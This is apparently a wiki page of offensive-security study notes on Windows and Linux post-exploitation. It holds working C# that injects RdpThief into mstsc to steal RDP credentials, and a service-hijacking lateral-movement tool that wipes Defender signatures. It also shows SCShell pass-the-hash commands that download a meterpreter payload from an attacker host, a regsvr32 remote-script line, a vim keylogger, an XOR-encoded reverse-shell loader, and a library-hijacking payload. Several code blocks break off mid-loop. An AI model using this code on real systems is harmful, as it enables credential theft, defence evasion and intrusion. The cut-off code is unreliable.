* Build the rdpthief dll from above link.&lt;br /&gt;
If detours is missing, use Nuget to uninstall and install it again.&lt;br /&gt;
&lt;br /&gt;
* The code below will get the mstsc process and inject the rdpthief dll if anyone tries to RDP to another machine.&lt;br /&gt;
&lt;br /&gt;
* To see the captured credentials, check the output file: &amp;lt;code&amp;gt;​C:\Users\&amp;lt;username&amp;gt;\AppData\Local\Temp\&amp;lt;session_ID&amp;gt;\data.bin​&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Net;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.Threading;  // Added this line for Thread.Sleep()&lt;br /&gt;
namespace Inject&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32&amp;quot;, CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]&lt;br /&gt;
        static extern IntPtr GetProcAddress(IntPtr hModule, string procName);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, CharSet = CharSet.Auto)]&lt;br /&gt;
        public static extern IntPtr GetModuleHandle(string lpModuleName);&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String dllName = &amp;quot;C:\\Tools\\RdpThief.dll&amp;quot;;&lt;br /&gt;
            while (true)&lt;br /&gt;
            {&lt;br /&gt;
                Process[] mstscProc = Process.GetProcessesByName(&amp;quot;mstsc&amp;quot;);&lt;br /&gt;
                if (mstscProc.Length &amp;gt; 0)&lt;br /&gt;
	                {&lt;br /&gt;
                    for (int i = 0; i &amp;lt; mstscProc.Length; i++)&lt;br /&gt;
                    {&lt;br /&gt;
                        int pid = mstscProc[i].Id;&lt;br /&gt;
                        IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);&lt;br /&gt;
                        IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);&lt;br /&gt;
                        IntPtr outSize;&lt;br /&gt;
                        Boolean res = WriteProcessMemory(hProcess, addr, Encoding.Default.GetBytes(dllName), dllName.Length, out outSize);&lt;br /&gt;
                        IntPtr loadLib = GetProcAddress(GetModuleHandle(&amp;quot;kernel32.dll&amp;quot;), &amp;quot;LoadLibraryA&amp;quot;);&lt;br /&gt;
                        IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, loadLib, addr, 0, IntPtr.Zero);&lt;br /&gt;
                    }&lt;br /&gt;
                }&lt;br /&gt;
                Thread.Sleep(1000);  // Sleep for 1 second before checking again&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fileless Lateral Movement ===&lt;br /&gt;
&lt;br /&gt;
Using fileless lateral movement will&lt;br /&gt;
&lt;br /&gt;
* Execute code without registering new service.&lt;br /&gt;
&lt;br /&gt;
* Avoid writing file to disk.&lt;br /&gt;
&lt;br /&gt;
PSExec however will write to disk. At a highlevel:&lt;br /&gt;
&lt;br /&gt;
* PsExec authenticates to SMB on the target host and accesses the DCE/RPC&lt;br /&gt;
DCE/RPC (Distributed Computing Environment / Remote Procedure Calls) is a protocol that supports remote procedure calls, which are used by processes to communicate with one another over a network.&lt;br /&gt;
&lt;br /&gt;
* PsExec will use this interface to access the service control manager, create a new service, and execute it. As part of the attack, the binary that is executed by the service is copied to the target host.&lt;br /&gt;
&lt;br /&gt;
Choose a service thats is not vital to the OS and is not used by default. Check service.msc.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
PsExec.exe -i -u domain\user cmd.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* The user running the code below have the TGT for &amp;lt;code&amp;gt;cifs/appsrv01&amp;lt;/code&amp;gt; in the memory.&lt;br /&gt;
&lt;br /&gt;
* The code will connect to target &amp;lt;code&amp;gt;appsrv01&amp;lt;/code&amp;gt;, open the service &amp;lt;code&amp;gt;SensorService&amp;lt;/code&amp;gt; and change it to open &amp;lt;code&amp;gt;notepad.exe&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* When &amp;lt;code&amp;gt;SensorService&amp;lt;/code&amp;gt; is executed, &amp;lt;code&amp;gt;notepad.exe&amp;lt;/code&amp;gt; will run as SYSTEM user.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace PSLessExec&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        public static uint SC_MANAGER_ALL_ACCESS = 0xF003F;&lt;br /&gt;
        public static uint SERVICE_ALL_ACCESS = 0xF01FF;&lt;br /&gt;
        public static uint SERVICE_DEMAND_START = 0x3;&lt;br /&gt;
        public static uint SERVICE_NO_CHANGE = 0xffffffff;&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential)]&lt;br /&gt;
        public class QUERY_SERVICE_CONFIG&lt;br /&gt;
        {&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.U4)]&lt;br /&gt;
            public UInt32 dwServiceType;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.U4)]&lt;br /&gt;
            public UInt32 dwStartType;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.U4)]&lt;br /&gt;
            public UInt32 dwErrorControl;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]&lt;br /&gt;
            public String lpBinaryPathName;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]&lt;br /&gt;
            public String lpLoadOrderGroup;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.U4)]&lt;br /&gt;
            public UInt32 dwTagID;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]&lt;br /&gt;
            public String lpDependencies;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]&lt;br /&gt;
            public String lpServiceStartName;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]&lt;br /&gt;
            public String lpDisplayName;&lt;br /&gt;
        };&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, EntryPoint = &amp;quot;OpenSCManagerW&amp;quot;, ExactSpelling = true, CharSet = CharSet.Unicode, SetLastError = true)]&lt;br /&gt;
        public static extern IntPtr OpenSCManager(string machineName, string databaseName, uint dwAccess);&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, SetLastError = true, CharSet = CharSet.Auto)]&lt;br /&gt;
        static extern IntPtr OpenService(IntPtr hSCManager, string lpServiceName, uint dwDesiredAccess);&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, CharSet = CharSet.Unicode, SetLastError = true)]&lt;br /&gt;
        public static extern Boolean QueryServiceConfig(IntPtr hService, IntPtr intPtrQueryConfig, UInt32 cbBufSize, out UInt32 pcbBytesNeeded);&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, EntryPoint = &amp;quot;ChangeServiceConfig&amp;quot;)]&lt;br /&gt;
        [return: MarshalAs(UnmanagedType.Bool)]&lt;br /&gt;
        public static extern bool ChangeServiceConfigA(IntPtr hService, uint dwServiceType, uint dwStartType, int dwErrorControl, string lpBinaryPathName, string lpLoadOrderGroup, string lpdwTagId, string lpDependencies, string lpServiceStartName, string lpPassword, string lpDisplayName);&lt;br /&gt;
        [DllImport(&amp;quot;advapi32&amp;quot;, SetLastError = true)]&lt;br /&gt;
        [return: MarshalAs(UnmanagedType.Bool)]&lt;br /&gt;
        public static extern bool StartService(IntPtr hService, int dwNumServiceArgs, string[] lpServiceArgVectors);&lt;br /&gt;
        public static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            if (args.Length != 3)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Usage: PSLessExec.exe [Target] [Service] [BinaryToRun]&amp;quot;);&lt;br /&gt;
                Console.WriteLine(&amp;quot;Example: PSLessExec.exe appsrv01 SensorService notepad.exe&amp;quot;);&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            // Open remote SCManager&lt;br /&gt;
            IntPtr SCMHandle = OpenSCManager(args[0], null, SC_MANAGER_ALL_ACCESS);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Got handle on SCManager on {args[0]}: {SCMHandle}.&amp;quot;);&lt;br /&gt;
            // Access target service&lt;br /&gt;
            IntPtr schService = OpenService(SCMHandle, args[1], SERVICE_ALL_ACCESS);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Got handle on target service {args[1]}: {schService}.&amp;quot;);&lt;br /&gt;
            // Get current binPath (two passes, first is to determine the buffer size needed)&lt;br /&gt;
            UInt32 dwBytesNeeded;&lt;br /&gt;
            QUERY_SERVICE_CONFIG qsc = new QUERY_SERVICE_CONFIG();&lt;br /&gt;
            bool bResult = QueryServiceConfig(schService, IntPtr.Zero, 0, out dwBytesNeeded);&lt;br /&gt;
            IntPtr ptr = Marshal.AllocHGlobal((int)dwBytesNeeded);&lt;br /&gt;
            bResult = QueryServiceConfig(schService, ptr, dwBytesNeeded, out dwBytesNeeded);&lt;br /&gt;
            Marshal.PtrToStructure(ptr, qsc);&lt;br /&gt;
            String binPathOrig = qsc.lpBinaryPathName;&lt;br /&gt;
            // Pass 1: Disable Defender signatures&lt;br /&gt;
            String defBypass = &amp;quot;\&amp;quot;C:\\Program Files\\Windows Defender\\MpCmdRun.exe\&amp;quot; -RemoveDefinitions -All&amp;quot;;&lt;br /&gt;
             bResult = ChangeServiceConfigA(schService, SERVICE_NO_CHANGE, SERVICE_DEMAND_START, 0, defBypass, null, null, null, null, null, null);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Overwrote service executable to become &#039;{defBypass}&#039;, result: {bResult}.&amp;quot;);&lt;br /&gt;
            // Run the service for Pass 1&lt;br /&gt;
            bResult = StartService(schService, 0, null);&lt;br /&gt;
            Console.WriteLine(&amp;quot;Launched service, defender signatures should be wiped.&amp;quot;);&lt;br /&gt;
            // Pass 2: Run the chosen binary&lt;br /&gt;
            bResult = ChangeServiceConfigA(schService, SERVICE_NO_CHANGE, SERVICE_DEMAND_START, 0, args[2], null, null, null, null, null, null);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Overwrote service executable to become &#039;{args[2]}&#039;, result: {bResult}.&amp;quot;);&lt;br /&gt;
            // Run the service for Pass 2&lt;br /&gt;
            bResult = StartService(schService, 0, null);&lt;br /&gt;
            Console.WriteLine(&amp;quot;Launched service. Check for execution!&amp;quot;);&lt;br /&gt;
            // Pass 3: Restore original binPath&lt;br /&gt;
            bResult = ChangeServiceConfigA(schService, SERVICE_NO_CHANGE, SERVICE_DEMAND_START, 0, binPathOrig, null, null, null, null, null, null);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Restored service binary to &#039;{binPathOrig}&#039;, result: {bResult}.&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace lat&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        // P/invoke for OpenSCManagerW&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, EntryPoint = &amp;quot;OpenSCManagerW&amp;quot;, ExactSpelling = true, CharSet = CharSet.Unicode, SetLastError = true)]&lt;br /&gt;
        public static extern IntPtr OpenSCManager(string machineName, string databaseName, uint dwAccess);&lt;br /&gt;
        // P/invoke for OpenService&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, SetLastError = true, CharSet = CharSet.Auto)]&lt;br /&gt;
        static extern IntPtr OpenService(IntPtr hSCManager, string lpServiceName, uint dwDesiredAccess);&lt;br /&gt;
        // P/invoke for ChangeServiceConfig&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, EntryPoint = &amp;quot;ChangeServiceConfig&amp;quot;)]&lt;br /&gt;
        [return: MarshalAs(UnmanagedType.Bool)]&lt;br /&gt;
        public static extern bool ChangeServiceConfigA(IntPtr hService, uint dwServiceType, int dwStartType, int dwErrorControl, string lpBinaryPathName, string lpLoadOrderGroup, string lpdwTagId, string lpDependencies, string lpServiceStartName, string lpPassword, string lpDisplayName);&lt;br /&gt;
        // P/invoke for StartService&lt;br /&gt;
        [DllImport(&amp;quot;advapi32&amp;quot;, SetLastError = true)]&lt;br /&gt;
        [return: MarshalAs(UnmanagedType.Bool)]&lt;br /&gt;
        public static extern bool StartService(IntPtr hService, int dwNumServiceArgs, string[] lpServiceArgVectors);&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // Initial proof of concept to authenticate&lt;br /&gt;
            String target = &amp;quot;appsrv01&amp;quot;;&lt;br /&gt;
            IntPtr SCMHandle = OpenSCManager(target, null, 0xF003F);&lt;br /&gt;
            // Code to call OpenService&lt;br /&gt;
            string ServiceName = &amp;quot;SensorService&amp;quot;;&lt;br /&gt;
            IntPtr schService = OpenService(SCMHandle, ServiceName, 0xF01FF);&lt;br /&gt;
            // Code to call ChangeServiceConfig&lt;br /&gt;
            string payload = &amp;quot;notepad.exe&amp;quot;;&lt;br /&gt;
            bool bResult = ChangeServiceConfigA(schService, 0xffffffff, 3, 0, payload, null, null, null, null, null, null);&lt;br /&gt;
            // Code to call StartService&lt;br /&gt;
            bResult = StartService(schService, 0, null);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-10-image-6.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
==== Trigger payload using fileless lateral movement ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If you have write permission on a target, you can copy payload to target and trigger it with fileless lateral movement.&lt;br /&gt;
# Copy payload to target&lt;br /&gt;
copy proc_hol.exe \\dc02\c$\windows\tasks\proc_hol.exe&lt;br /&gt;
# Now trigger it with fileless lateral movement&lt;br /&gt;
Lat.exe dc02 SensorService “C:\windows\tasks\proc_hol.exe”&lt;br /&gt;
# You can also try to trigger the payload with psexec&lt;br /&gt;
.\psexec \\dc02 -d &amp;quot;C:\windows\tasks\proc_hol.exe&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ScShell ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/Mr-Un1k0d3r/SCShell https://github.com/Mr-Un1k0d3r/SCShell]&lt;br /&gt;
&lt;br /&gt;
&amp;quot;SCShell is a fileless lateral movement tool that relies on ChangeServiceConfigA to run commands. The beauty of this tool is that it does not perform authentication against SMB. Everything is performed over DCERPC.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If you have obtained a hash for a user that can authenticate against target, run the command&lt;br /&gt;
python3 scshell.py corp1/dave@192.168.218.6 -service-name lfsvc -hashes :2892d26cdf84d7a70e2eb3b9f05c425e&lt;br /&gt;
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation&lt;br /&gt;
[*] Command need to use FULL path. No command output.&lt;br /&gt;
SCShell&amp;gt;C:\windows\system32\cmd.exe /c certutil -urlcache -split -f &amp;quot;http://192.168.45.162/bin.exe&amp;quot; C:\windows\tasks\bin.exe&lt;br /&gt;
# The command above will connect to target 192.168.218.6 and use the lfsvc to execute commands.&lt;br /&gt;
# The SCShell command will download meterpreter payload to windows\tasks and we can simply execute it with&lt;br /&gt;
SVShell&amp;gt;C:\windows\tasks\bin.exe&lt;br /&gt;
# Usage for .exe&lt;br /&gt;
SCShell.exe target service payload domain username password&lt;br /&gt;
# Example remote code exec&lt;br /&gt;
# I recommend using C:\windows\system32\cmd.exe /c to make sure to payload will not be killed once the service stop. You NEED to use the full path.&lt;br /&gt;
SCShell.exe 192.168.197.131 XblAuthManager &amp;quot;C:\windows\system32\cmd.exe /c C:\windows\system32\regsvr32.exe /s /n /u /i://your.website/payload.sct scrobj.dll&amp;quot; . administrastor Password&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Linux Post Explotation ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039; Stealthy VIM Backdoors&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Directly modifying &amp;lt;code&amp;gt; ​.vimrc&amp;lt;/code&amp;gt;​  is not stealthy.&lt;br /&gt;
&lt;br /&gt;
* To source a shell script:  ​&amp;lt;code&amp;gt;!source /path/to/script&amp;lt;/code&amp;gt;​ &lt;br /&gt;
&lt;br /&gt;
* To import another VIM config:  &amp;lt;code&amp;gt;​:source /path/to/vim-config​ &amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Stealthier approach: Use the  &amp;lt;code&amp;gt;​~/.vim/plugin​ &amp;lt;/code&amp;gt; directory. VIM auto-loads all &amp;lt;code&amp;gt; ​.vim​ &amp;lt;/code&amp;gt; files from this directory.&lt;br /&gt;
&lt;br /&gt;
=== VIM Backdoor keylogger ===&lt;br /&gt;
&lt;br /&gt;
Leveraging VIM&#039;s  ​&amp;lt;code&amp;gt;.vimrc&amp;lt;/code&amp;gt;​  configuration files, it&#039;s possible to set up autocommands that trigger actions in VIM. One such use-case is creating a basic keylogger to monitor changes a user makes in a file via VIM.&lt;br /&gt;
&lt;br /&gt;
Insert this at the end of &amp;lt;code&amp;gt;vimrc&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
:if $USER == &amp;quot;root&amp;quot;&lt;br /&gt;
:autocmd BufWritePost * :silent :w! &amp;gt;&amp;gt; /tmp/hackedfromvim.txt&lt;br /&gt;
:endif&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*  ​BufWritePost​ : Trigger event after a buffer is written.&lt;br /&gt;
&lt;br /&gt;
*  ​*​ : Action applies to all edited files.&lt;br /&gt;
&lt;br /&gt;
*  ​:silent​ : Suppress debug output.&lt;br /&gt;
&lt;br /&gt;
*  ​:w!​ : Forcefully save the buffer contents.&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;gt;&amp;gt; /tmp/hackedfromvim.txt​ : Append content changes to the specified log file.&lt;br /&gt;
&lt;br /&gt;
=== Linux Shellcode Loader ===&lt;br /&gt;
&lt;br /&gt;
==== Simple Shellcode Loader ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
// To compile:&lt;br /&gt;
// gcc -o simpleLoader simpleLoader.c -z execstack&lt;br /&gt;
// XOR-encoded &#039;linux/x64/shell_reverse_tcp&#039; payload (key: 0xfa)&lt;br /&gt;
unsigned char buf[] = &amp;quot;\x90\xD3\xA2\x63\x90\xF8\xA5\x90\xFB\xA4\xF5\xFF\xB2\x6D\xB2\x43\xF8\xFA\xFA\xAA\x3A\x52\xCB\xB9\xAB\xB2\x73\x1C\x90\xEA\xA0\x90\xD0\xA2\xF5\xFF\x90\xF9\xA4\xB2\x05\x34\x90\xDB\xA2\xF5\xFF\x8F\x0C\x90\xC1\xA2\x63\xB2\x41\xD5\x98\x93\x94\xD5\x89\x92\xFA\xA9\xB2\x73\x1D\xA8\xAD\xB2\x73\x1C\xF5\xFF\xFA&amp;quot;;&lt;br /&gt;
int main (int argc, char **argv)&lt;br /&gt;
{&lt;br /&gt;
        int key = 250;&lt;br /&gt;
        int buf_len = (int) sizeof(buf);&lt;br /&gt;
        // Decode the payload&lt;br /&gt;
        for (int i=0; i&lt;br /&gt;
&lt;br /&gt;
==== Compile the shellcode loader ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
gcc -o simpleLoader simpleLoader.c -z execstack&lt;br /&gt;
# -z execstack: This option instructs the compiler to mark the resulting executable as having an executable stack. An executable stack means that the program can execute code stored on the stack, which can be a security risk if not handled carefully. This option is often used for specific purposes, like creating loader programs or certain types of shellcode.&lt;br /&gt;
&lt;br /&gt;
# If the above dont work, try this&lt;br /&gt;
gcc -o sh.elf sh.c -z execstack -static&lt;br /&gt;
upx --best --lzma -o shupx.elf ./sh.elf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Simple XOR Shellcode Encryption Cheatsheet ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1. Simple XOR Encrypt Shellcode&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
unsigned char buf[] = &amp;quot;\x6a\x39\x58\x0f\x05...&amp;quot;;  // Original Shellcode&lt;br /&gt;
int main (int argc, char **argv) {&lt;br /&gt;
    char xor_key = &#039;J&#039;;                          // XOR Key&lt;br /&gt;
    int payload_length = (int) sizeof(buf);      // Length of Shellcode&lt;br /&gt;
    // XOR Encrypt Each Byte&lt;br /&gt;
    for (int i=0; i&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Compilation&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
kali@kali:~$ gcc -o encoder.out encoder.c -z execstack&lt;br /&gt;
kali@kali:~$ ./encoder.out&lt;br /&gt;
\x20\x73\x12\x45\x4F\x02\xCF\x8A\x3E\x42\x02\x7B\xB5\x20\x76\x12\x45...\x20\x4B\x14\x4&lt;br /&gt;
5\x4F\x02\xCF\x8A\x32\x71\x02\xDD\x02\xF3\x48&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Execute XOR Decrypted Shellcode&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
unsigned char buf[] = &amp;quot;\x20\x73\x12\x45...&amp;quot;;  // XOR Encrypted Shellcode&lt;br /&gt;
int main (int argc, char **argv) {&lt;br /&gt;
    char xor_key = &#039;J&#039;;                       // XOR Key&lt;br /&gt;
    int arraysize = (int) sizeof(buf);        // Length of Encrypted Shellcode&lt;br /&gt;
    // XOR Decrypt Each Byte&lt;br /&gt;
    for (int i=0; i&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Key Points&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* The shellcode is encrypted using XOR operation against a key (e.g., &#039;J&#039;).&lt;br /&gt;
&lt;br /&gt;
* The encrypted shellcode must be decrypted using the same XOR key before execution.&lt;br /&gt;
&lt;br /&gt;
* After decryption, the shellcode is cast to a function pointer and executed.&lt;br /&gt;
&lt;br /&gt;
=== Shared Libraries ===&lt;br /&gt;
&lt;br /&gt;
Linux uses a different program format than Windows. While Linux utilizes &#039;&#039;&#039;Executable and Linkable Format (ELF)&#039;&#039;&#039;, Windows uses the &#039;&#039;&#039;Portable Executable (PE)&#039;&#039;&#039; format.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;ELF Reference&#039;&#039;&#039;: [https://en.wikipedia.org/wiki/Executable_and_Linkable_Format Wikipedia]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;PE Reference&#039;&#039;&#039;: [https://en.wikipedia.org/wiki/Portable_Executable Wikipedia]&lt;br /&gt;
&lt;br /&gt;
Despite their differences, both systems share code with other applications. Windows employs &#039;&#039;&#039;Dynamic-Link Library (DLL)&#039;&#039;&#039; files, whereas Linux uses &#039;&#039;&#039;Shared Libraries&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
When a Linux application requires a library, it searches for it in the following order:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;RPATH&#039;&#039;&#039;: Directories within the application&#039;s RPATH value.&lt;br /&gt;
[https://en.wikipedia.org/wiki/Rpath Reference]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;LD_LIBRARY_PATH&#039;&#039;&#039;: Directories specified in this environment variable.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;RUNPATH&#039;&#039;&#039;: Directories in the application’s RUNPATH value.&lt;br /&gt;
[https://amir.rachum.com/blog/2016/09/17/shared-libraries/#rpath-and-runpath Reference]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;/etc/ld.so.conf&#039;&#039;&#039;: Directories mentioned here.&lt;br /&gt;
[https://man7.org/linux/man-pages/man8/ldconfig.8.html Reference]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;System Library Directories&#039;&#039;&#039;: &amp;lt;code&amp;gt; ​/lib​ ,  ​/lib64​ ,  ​/usr/lib​ ,  ​/usr/lib64​ ,  ​/usr/local/lib​ ,  ​/usr/local/lib64&amp;lt;/code&amp;gt;​ , and more.&lt;br /&gt;
&lt;br /&gt;
Because of this predefined search sequence, it&#039;s possible to place or hijack shared libraries to control an application&#039;s behavior.&lt;br /&gt;
&lt;br /&gt;
==== Hijacking Shared Library via LD_LIBRARY_PATH ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1. Writing the Malicious Library:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Create the payload file:&lt;br /&gt;
&lt;br /&gt;
 ​/home/offsec/ldlib/hax.c​ &lt;br /&gt;
&lt;br /&gt;
* Include headers:&lt;br /&gt;
&lt;br /&gt;
* Define the constructor function:&lt;br /&gt;
&lt;br /&gt;
* Function payload:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include  // for setuid/setgid&lt;br /&gt;
// This function will be executed automatically when the shared library is loaded.&lt;br /&gt;
static void runmahpayload() __attribute__((constructor));&lt;br /&gt;
void runmahpayload() {&lt;br /&gt;
    // Elevate privileges to root user.&lt;br /&gt;
    setuid(0); // Set the effective user ID to root.&lt;br /&gt;
    setgid(0); // Set the effective group ID to root.&lt;br /&gt;
    // Print a message to indicate the DLL hijacking is in progress.&lt;br /&gt;
    printf(&amp;quot;DLL HIJACKING IN PROGRESS \n&amp;quot;);&lt;br /&gt;
    // Execute the system command to create a file in /tmp called &amp;quot;haxso.txt.&amp;quot;&lt;br /&gt;
    // This can be used as an indicator that the malicious code was executed.&lt;br /&gt;
    system(&amp;quot;touch /tmp/haxso.txt&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Compiling the Malicious Library:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Compile shared library object file:&lt;br /&gt;
&lt;br /&gt;
